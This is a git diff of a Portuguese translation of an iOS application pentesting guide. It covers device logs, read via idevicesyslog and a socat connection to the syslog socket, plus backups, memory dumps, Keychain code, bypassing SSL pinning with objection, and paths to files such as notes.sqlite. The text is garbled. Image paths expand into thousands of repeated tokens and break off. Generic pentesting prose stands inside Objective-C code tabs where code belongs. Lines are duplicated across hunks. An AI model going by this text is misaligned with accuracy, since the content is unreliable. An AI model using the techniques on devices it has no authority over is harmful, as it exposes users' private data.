Na versão do iOS 6 e abaixo, os logs eram legíveis para todos (um aplicativo malicioso poderia ler logs de outros aplicativos e extrair informações sensíveis de lá). **Hoje em dia, os aplicativos só podem acessar seus próprios logs**.
|
||||
As formas mais comuns de depurar código são usando logs, e o aplicativo **pode imprimir informações sensíveis nos logs**.\
|
||||
Na versão do iOS 6 e abaixo, os logs eram legíveis para todos (um aplicativo malicioso poderia ler logs de outros aplicativos e extrair informações sensíveis de lá). **Atualmente, os aplicativos só podem acessar seus próprios logs**.
|
||||
|
||||
No entanto, um **atacante** com **acesso físico** a um dispositivo **desbloqueado** pode conectá-lo a um computador e **ler os logs** (observe que os logs gravados no disco por um aplicativo não são removidos se o aplicativo for desinstalado).
|
||||
|
||||
É recomendado **navegar por todas as telas** do aplicativo e **interagir** com **todos** os elementos de interface do usuário e **funcionalidades** e fornecer texto de entrada em todos os campos de texto e **revisar os logs** em busca de **informações** **sensíveis** expostas.
|
||||
Recomenda-se **navegar por todas as telas** do aplicativo e **interagir** com **todos** os elementos de interface do usuário e **funcionalidades** e fornecer texto de entrada em todos os campos de texto e **revisar os logs** em busca de **informações** **sensíveis** expostas.
|
||||
|
||||
Use as seguintes palavras-chave para verificar o código-fonte do aplicativo em busca de declarações de log pré-definidas e personalizadas:
|
||||
|
||||
|
@ -709,14 +723,14 @@ idevicesyslog -u <id> (| grep <app>) # To get the device logs
|
|||
```
|
||||
Você pode coletar logs do console através da janela **Devices** do Xcode da seguinte forma:
|
||||
|
||||
1. Abra o Xcode.
|
||||
2. Conecte seu dispositivo ao computador hospedeiro.
|
||||
1. Inicie o Xcode.
|
||||
2. Conecte seu dispositivo ao seu computador hospedeiro.
|
||||
3. Escolha **Window** -> **Devices and Simulators**.
|
||||
4. Clique no seu dispositivo iOS conectado na seção esquerda da janela Devices.
|
||||
5. Reproduza o problema.
|
||||
6. Clique no botão **Open Console** localizado na área superior direita da janela Devices para visualizar os logs do console em uma janela separada.
|
||||
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
|
||||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
|
@ -734,14 +748,14 @@ Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Backups
|
||||
|
||||
O iOS inclui recursos de backup automático que criam cópias dos dados armazenados no dispositivo. Você pode fazer **backups do iOS** a partir do seu computador host usando o iTunes (até o macOS Catalina) ou o Finder (a partir do macOS Catalina), ou através do recurso de backup do iCloud. Em ambos os casos, o backup inclui quase todos os dados armazenados no dispositivo iOS, exceto dados altamente sensíveis, como informações do Apple Pay e configurações do Touch ID.
|
||||
O iOS inclui recursos de backup automático que criam cópias dos dados armazenados no dispositivo. Você pode fazer **backups do iOS** a partir do seu computador hospedeiro usando o iTunes (até o macOS Catalina) ou o Finder (a partir do macOS Catalina), ou através do recurso de backup do iCloud. Em ambos os casos, o backup inclui quase todos os dados armazenados no dispositivo iOS, exceto dados altamente sensíveis, como informações do Apple Pay e configurações do Touch ID.
|
||||
|
||||
Como o iOS faz backup de aplicativos instalados e seus dados, uma preocupação óbvia é se os **dados sensíveis do usuário** armazenados pelo aplicativo podem **vazar acidentalmente através do backup**. Outra preocupação, embora menos óbvia, é se as **configurações de configuração sensíveis usadas para proteger dados ou restringir a funcionalidade do aplicativo podem ser adulteradas para alterar o comportamento do aplicativo após a restauração de um backup modificado**. Ambas as preocupações são válidas e essas vulnerabilidades têm se mostrado existentes em um grande número de aplicativos hoje em dia.
|
||||
|
||||
|
@ -786,7 +800,7 @@ No aplicativo de carteira de bitcoin de código aberto, Bither, você verá que
|
|||
|
||||
Em algum momento, informações sensíveis serão armazenadas na memória. O objetivo é garantir que essas informações sejam expostas pelo menor tempo possível.
|
||||
|
||||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo propenso a erros, pois os dumps fornecem os dados deixados pelas funções executadas e você pode perder etapas críticas. Além disso, é muito fácil ignorar dados durante a análise, a menos que você conheça o formato ou o valor exato dos dados que está procurando. Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você encontre a chave na memória, a menos que encontre seu valor por outros meios.
|
||||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo muito propenso a erros, pois os dumps fornecem os dados deixados pelas funções executadas e você pode perder etapas críticas. Além disso, é muito fácil ignorar dados durante a análise, a menos que você conheça o formato ou o valor exato dos dados que está procurando. Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você encontre a chave na memória, a menos que encontre seu valor por outros meios.
|
||||
|
||||
**Recuperando e Analisando um Dump de Memória**
|
||||
|
||||
|
@ -914,49 +928,9 @@ if status == noErr {
|
|||
// error while saving
|
||||
}
|
||||
```
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
# Pentesting iOS Apps
|
||||
|
||||
## Introdução
|
||||
|
||||
O pentesting de aplicativos iOS envolve a avaliação da segurança de aplicativos desenvolvidos para dispositivos iOS, como iPhones e iPads. Neste guia, exploraremos várias técnicas e ferramentas para realizar pentesting em aplicativos iOS.
|
||||
|
||||
## Configuração do Ambiente
|
||||
|
||||
Antes de começar o pentesting de aplicativos iOS, é necessário configurar um ambiente adequado. Isso envolve a instalação de ferramentas e a configuração de um dispositivo iOS ou um emulador.
|
||||
|
||||
### Ferramentas
|
||||
|
||||
Existem várias ferramentas disponíveis para pentesting de aplicativos iOS. Algumas das ferramentas populares incluem:
|
||||
|
||||
- [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF): Uma estrutura de segurança móvel que oferece recursos de análise estática e dinâmica para aplicativos iOS.
|
||||
- [Frida](https://frida.re/): Uma estrutura de instrumentação dinâmica que permite a manipulação de aplicativos iOS em tempo de execução.
|
||||
- [Cycript](http://www.cycript.org/): Uma ferramenta de depuração e exploração que permite a inspeção e modificação de aplicativos iOS em tempo de execução.
|
||||
- [Burp Suite](https://portswigger.net/burp): Uma suíte de ferramentas de teste de segurança que pode ser usada para interceptar e modificar o tráfego entre um aplicativo iOS e um servidor.
|
||||
|
||||
### Dispositivo iOS ou Emulador
|
||||
|
||||
Para realizar o pentesting de aplicativos iOS, você precisará de um dispositivo iOS real ou de um emulador. Se você estiver usando um dispositivo iOS real, certifique-se de que ele esteja desbloqueado e conectado ao mesmo Wi-Fi que o seu computador.
|
||||
|
||||
Se você estiver usando um emulador, pode usar o emulador iOS fornecido pelo Xcode ou um emulador de terceiros, como o [Simulator](https://simulator.dev/).
|
||||
|
||||
## Técnicas de Pentesting
|
||||
|
||||
Existem várias técnicas que podem ser usadas para realizar o pentesting de aplicativos iOS. Algumas das técnicas comuns incluem:
|
||||
|
||||
- Análise de código estático: Envolve a análise do código-fonte do aplicativo em busca de vulnerabilidades de segurança.
|
||||
- Análise de código dinâmico: Envolve a execução do aplicativo em um ambiente controlado para identificar vulnerabilidades de segurança em tempo de execução.
|
||||
- Interceptação de tráfego: Envolve a interceptação e análise do tráfego entre o aplicativo iOS e o servidor para identificar possíveis vulnerabilidades.
|
||||
- Injeção de código: Envolve a injeção de código malicioso no aplicativo iOS para explorar vulnerabilidades e obter acesso não autorizado.
|
||||
- Teste de autenticação: Envolve a avaliação da segurança do processo de autenticação do aplicativo iOS.
|
||||
- Teste de autorização: Envolve a avaliação da segurança do processo de autorização do aplicativo iOS.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O pentesting de aplicativos iOS é uma parte essencial do processo de desenvolvimento seguro de aplicativos. Ao realizar o pentesting de aplicativos iOS, você pode identificar e corrigir vulnerabilidades de segurança antes que elas sejam exploradas por hackers mal-intencionados. Esperamos que este guia tenha fornecido uma visão geral útil das técnicas e ferramentas envolvidas no pentesting de aplicativos iOS.
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
```objectivec
|
||||
// 1. create AccessControl object that will represent authentication settings
|
||||
CFErrorRef *err = nil;
|
||||
|
@ -1034,33 +1008,50 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
```
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
# Pentesting em iOS
|
||||
# Pentesting iOS Apps
|
||||
|
||||
Este guia fornece uma visão geral das técnicas de pentesting em aplicativos iOS. Ele abrange várias áreas, incluindo análise estática e dinâmica, engenharia reversa, manipulação de dados em trânsito e em repouso, e exploração de vulnerabilidades comuns.
|
||||
## Introdução
|
||||
|
||||
## Análise Estática
|
||||
O pentesting de aplicativos iOS envolve a avaliação da segurança de aplicativos desenvolvidos para dispositivos iOS, como iPhones e iPads. Neste guia, exploraremos várias técnicas e ferramentas para realizar pentesting em aplicativos iOS.
|
||||
|
||||
A análise estática envolve a revisão do código-fonte do aplicativo em busca de vulnerabilidades conhecidas e práticas inseguras. Isso pode ser feito usando ferramentas como o Xcode, que possui recursos de análise estática embutidos, ou ferramentas de terceiros, como o OCLint.
|
||||
## Configuração do Ambiente
|
||||
|
||||
## Análise Dinâmica
|
||||
Antes de começar o pentesting de aplicativos iOS, é necessário configurar um ambiente adequado. Isso envolve a instalação de ferramentas e a configuração de um dispositivo iOS ou um emulador.
|
||||
|
||||
A análise dinâmica envolve a execução do aplicativo em um ambiente controlado para identificar vulnerabilidades em tempo de execução. Isso pode ser feito usando ferramentas como o Frida, que permite a instrumentação do aplicativo em tempo real para interceptar chamadas de função e manipular dados em memória.
|
||||
### Ferramentas
|
||||
|
||||
## Engenharia Reversa
|
||||
Existem várias ferramentas disponíveis para pentesting de aplicativos iOS. Algumas das ferramentas populares incluem:
|
||||
|
||||
A engenharia reversa envolve a desmontagem do código do aplicativo para entender seu funcionamento interno. Isso pode ser feito usando ferramentas como o Hopper ou o IDA Pro, que permitem a análise do código de montagem e a recuperação de estruturas de dados e algoritmos.
|
||||
- [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF): Uma estrutura de segurança móvel que oferece recursos de análise estática e dinâmica para aplicativos iOS.
|
||||
- [Frida](https://frida.re/): Uma estrutura de instrumentação dinâmica que permite a manipulação de aplicativos iOS em tempo de execução.
|
||||
- [Cycript](http://www.cycript.org/): Uma ferramenta de depuração e exploração que permite a inspeção e modificação de aplicativos iOS em tempo de execução.
|
||||
- [Burp Suite](https://portswigger.net/burp): Uma suíte de ferramentas de teste de segurança que pode ser usada para interceptar e modificar o tráfego de rede de aplicativos iOS.
|
||||
|
||||
## Manipulação de Dados em Trânsito e em Repouso
|
||||
### Dispositivo iOS ou Emulador
|
||||
|
||||
A manipulação de dados em trânsito e em repouso envolve a identificação e exploração de vulnerabilidades relacionadas à criptografia, autenticação e comunicação segura. Isso pode ser feito usando ferramentas como o Burp Suite, que permite interceptar e modificar o tráfego de rede entre o aplicativo e o servidor.
|
||||
Para realizar o pentesting de aplicativos iOS, você precisará de um dispositivo iOS real ou de um emulador. Se você estiver usando um dispositivo iOS real, certifique-se de que ele esteja desbloqueado e conectado ao mesmo Wi-Fi que o seu computador.
|
||||
|
||||
## Exploração de Vulnerabilidades Comuns
|
||||
Se você estiver usando um emulador, pode usar o emulador iOS fornecido pelo Xcode ou usar ferramentas como o [iPadian](https://www.ipadian.net/) ou o [Appetize.io](https://appetize.io/) para emular um dispositivo iOS.
|
||||
|
||||
A exploração de vulnerabilidades comuns envolve a identificação e exploração de vulnerabilidades conhecidas, como injeção de SQL, cross-site scripting (XSS) e deserialização não segura. Isso pode ser feito usando ferramentas como o OWASP ZAP, que possui um conjunto de regras para detectar e explorar essas vulnerabilidades.
|
||||
## Técnicas de Pentesting
|
||||
|
||||
Existem várias técnicas que podem ser usadas para realizar o pentesting de aplicativos iOS. Algumas das técnicas comuns incluem:
|
||||
|
||||
- Análise de código estático: Examinar o código do aplicativo em busca de vulnerabilidades de segurança.
|
||||
- Análise de código dinâmico: Monitorar o comportamento do aplicativo em tempo de execução para identificar possíveis vulnerabilidades.
|
||||
- Injeção de código: Inserir código malicioso no aplicativo para explorar vulnerabilidades.
|
||||
- Interceptação de tráfego de rede: Capturar e analisar o tráfego de rede gerado pelo aplicativo.
|
||||
- Teste de autenticação: Testar a robustez do sistema de autenticação do aplicativo.
|
||||
- Teste de autorização: Testar se o aplicativo impõe corretamente as restrições de acesso.
|
||||
- Teste de criptografia: Avaliar a implementação da criptografia no aplicativo.
|
||||
- Teste de armazenamento seguro: Verificar se os dados sensíveis são armazenados de forma segura no dispositivo.
|
||||
- Teste de integridade de dados: Verificar se os dados são manipulados ou corrompidos durante a transmissão ou armazenamento.
|
||||
- Teste de sessão: Avaliar a segurança das sessões do aplicativo.
|
||||
- Teste de segurança do servidor: Avaliar a segurança do servidor que o aplicativo se comunica.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O pentesting em aplicativos iOS é uma parte essencial do processo de desenvolvimento seguro. Ao realizar análises estáticas e dinâmicas, engenharia reversa e exploração de vulnerabilidades comuns, é possível identificar e corrigir falhas de segurança antes que elas sejam exploradas por hackers mal-intencionados.
|
||||
O pentesting de aplicativos iOS é uma parte essencial do processo de desenvolvimento seguro de aplicativos. Ao realizar o pentesting, é possível identificar e corrigir vulnerabilidades de segurança antes que elas sejam exploradas por hackers mal-intencionados. Esperamos que este guia tenha fornecido uma visão geral das técnicas e ferramentas envolvidas no pentesting de aplicativos iOS.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
|
@ -1238,7 +1229,7 @@ Você também pode usar o comando `ios sslpinning disable` do **objection**.
|
|||
## Miscelânea
|
||||
|
||||
* Em **`/System/Library`**, você pode encontrar os frameworks instalados no telefone usados pelas aplicações do sistema.
|
||||
* As aplicações instaladas pelo usuário da App Store estão localizadas em **`/User/Applications`**.
|
||||
* As aplicações instaladas pelo usuário a partir da App Store estão localizadas em **`/User/Applications`**.
|
||||
* E o **`/User/Library`** contém dados salvos pelas aplicações de nível do usuário.
|
||||
* Você pode acessar **`/User/Library/Notes/notes.sqlite`** para ler as notas salvas dentro do aplicativo.
|
||||
* Dentro da pasta de uma aplicação instalada (**`/User/Applications/<APP ID>/`**), você pode encontrar alguns arquivos interessantes:
|
||||
|
@ -1289,8 +1280,8 @@ Você pode encontrar as **bibliotecas usadas por um aplicativo** executando o co
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -1298,7 +1289,7 @@ Acesse hoje mesmo:
|
|||
|
||||
